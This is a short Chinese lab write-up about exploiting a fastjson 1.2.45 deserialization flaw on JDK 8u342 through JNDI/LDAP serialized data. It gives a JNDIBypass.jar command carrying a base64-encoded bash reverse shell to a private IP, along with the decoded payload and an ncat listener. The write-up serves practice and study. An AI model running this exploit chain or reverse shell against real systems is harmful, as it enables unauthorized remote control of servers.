fastjson 1245-jdk8u342 yakit测试
JDK8u191以后的JNDI就没那么轮椅了,得吃点操作
这周挺忙的,也是闲下来了打一打靶场
0x00 信息收集
重复操作就不一一列举了,看我往期文章。检查不在黑名单的类,858个
探测fastjson版本,1.2.45
探测能否出网,可以
探测敏感依赖,16个。注意到org.yaml.snakeyaml.Yaml,然而后测试没有load方法。于是这里用ldap的javaSerializedData来打。
0x01 直接打
这边用了一个二改的JNDIBypass,俩konsole命令如下
/usr/lib/jvm/java-8-openjdk/bin/java -jar JNDIBypass.jar -a 10.0.164.157 -p 1389 -c "bash -c {echo,YmFzaCAtaSA+JiAvZG V2L3RjcC8xMC4wLjE2NC4xNTcvODA4MCAwPiYx}|{base64,-d}|{bash,-i}" ncat -nvlp 8080其中base64内容是bash -i >& /dev/tcp/10.0.164.157/8080 0>&1 因为目标靶场没nc。
请求包如下
也是直接拿到了
